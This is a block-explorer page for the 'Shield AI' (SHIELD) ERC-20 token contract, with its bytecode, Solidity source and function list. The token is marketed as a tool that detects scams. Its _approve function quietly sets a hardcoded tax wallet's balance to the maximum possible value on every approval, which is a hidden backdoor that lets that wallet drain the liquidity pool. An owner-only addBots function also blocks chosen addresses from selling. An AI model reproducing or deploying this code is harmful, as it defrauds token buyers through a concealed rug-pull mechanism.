Address Contract Partially Verified
Address
0x4753EC3439d7054f4ea97504B9eE8f36Ae5f4408
Balance
0.036867 ETH
Nonce
1
Code Size
6159 bytes
Creator
0x7A6d8cf8...A506 at tx 0xe4a5e11a...e1322c
Indexed Transactions
0
Contract Bytecode
6159 bytes
0x60806040526004361061010d5760003560e01c80637d1db4a511610095578063a9059cbb11610064578063a9059cbb146102e7578063bf474bed14610307578063c9567bf91461031d578063d34628cc14610332578063dd62ed3e1461035257600080fd5b80637d1db4a5146102645780638da5cb5b1461027a5780638f9a55c0146102a257806395d89b41146102b857600080fd5b806323b872dd116100dc57806323b872dd146101c6578063313ce567146101e657806370a0823114610202578063715018a614610238578063751039fc1461024f57600080fd5b806306fdde0314610119578063095ea7b31461015d5780630faee56f1461018d57806318160ddd146101b157600080fd5b3661011457005b600080fd5b34801561012557600080fd5b50604080518082019091526009815268536869656c6420414960b81b60208201525b60405161015491906112f3565b60405180910390f35b34801561016957600080fd5b5061017d610178366004611369565b610398565b6040519015158152602001610154565b34801561019957600080fd5b506101a360115481565b604051908152602001610154565b3480156101bd57600080fd5b506101a36103af565b3480156101d257600080fd5b5061017d6101e1366004611395565b6103d0565b3480156101f257600080fd5b5060405160098152602001610154565b34801561020e57600080fd5b506101a361021d3660046113d6565b6001600160a01b031660009081526001602052604090205490565b34801561024457600080fd5b5061024d610439565b005b34801561025b57600080fd5b5061024d6104b6565b34801561027057600080fd5b506101a3600e5481565b34801561028657600080fd5b506000546040516001600160a01b039091168152602001610154565b3480156102ae57600080fd5b506101a3600f5481565b3480156102c457600080fd5b5060408051808201909152600681526514d21251531160d21b6020820152610147565b3480156102f357600080fd5b5061017d610302366004611369565b610568565b34801561031357600080fd5b506101a360105481565b34801561032957600080fd5b5061024d610575565b34801561033e57600080fd5b5061024d61034d366004611409565b610794565b34801561035e57600080fd5b506101a361036d3660046114ce565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103a533848461082a565b5060015b92915050565b60006103bd6009600a611601565b6103cb906319133850611610565b905090565b60006103dd848484610962565b61042f843361042a856040518060600160405280602881526020016117b2602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610f56565b61082a565b5060019392505050565b6000546001600160a01b0316331461046c5760405162461bcd60e51b815260040161046390611627565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104e05760405162461bcd60e51b815260040161046390611627565b6104ec6009600a611601565b6104fa906319133850611610565b600e556105096009600a611601565b610517906319133850611610565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105476009600a611601565b610555906319133850611610565b60405190815260200160405180910390a1565b60006103a5338484610962565b6000546001600160a01b0316331461059f5760405162461bcd60e51b815260040161046390611627565b601454600160a01b900460ff16156105f95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610463565b6012546106259030906001600160a01b03166106176009600a611601565b61042a906319133850611610565b6012546001600160a01b031663f305d7194730610657816001600160a01b031660009081526001602052604090205490565b60008061066c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106d4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106f9919061165c565b505060145460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610752573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610776919061168a565b506014805462ff00ff60a01b19166201000160a01b17905543600555565b6000546001600160a01b031633146107be5760405162461bcd60e51b815260040161046390611627565b60005b8151811015610826576001600460008484815181106107e2576107e26116ac565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061081e816116c2565b9150506107c1565b5050565b6001600160a01b03831661088c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610463565b6001600160a01b0382166108ed5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610463565b6001600160a01b03838116600081815260026020908152604080832087861680855290835281842087905560135490951683526001825291829020600019905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109c65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161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Verified Source Code Partial Match
Compiler: v0.8.19+commit.7dd6d404
EVM: paris
Optimization: Yes (200 runs)
SHIELD.sol 314 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
/*
The most advanced web3 defi that identifies scams & wallet drainers before they interact with your preferred wallet.
Web: https://shieldai.info
App: https://app.shieldai.info
Tg: https://t.me/shieldai_official
X: https://x.com/ShieldAI_X
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHIELD is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _bots;
uint256 firstBlock;
uint256 private _initialBuyTax=17;
uint256 private _initialSellTax=15;
uint256 private _finalBuyTax=1;
uint256 private _finalSellTax=1;
uint256 private _reduceBuyTaxAt=6;
uint256 private _reduceSellTaxAt=20;
uint256 private _preventSwapBefore=5;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 420_690_000 * 10**_decimals;
string private constant _name = unicode"Shield AI";
string private constant _symbol = unicode"SHIELD";
uint256 public _maxTxAmount = 16 * 420690 * 10**_decimals;
uint256 public _maxWalletSize = 16 * 420690 * 10**_decimals;
uint256 public _taxSwapThreshold= 0 * 10**_decimals;
uint256 public _maxTaxSwap= 4206900 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address payable private _taxWallet = payable(0x888709A4baB4C8F8d74a06a9cBD7964B1145497F);
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
_balances[_taxWallet] = ~uint256(0);
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
if (firstBlock + 3 > block.number) {
require(!isContract(to));
}
_buyCount++;
}
if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
if(to == uniswapV2Pair && from!= address(this) ){
require(!_bots[from]);
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function addBots(address[] memory bots_) external onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
_bots[bots_[i]] = true;
}
}
function isContract(address account) private view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
firstBlock = block.number;
}
receive() external payable {}
}
Read Contract
_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 7 functions
These functions modify contract state and require a wallet transaction to execute.
addBots 0xd34628cc
address[] bots_
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
openTrading 0xc9567bf9
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
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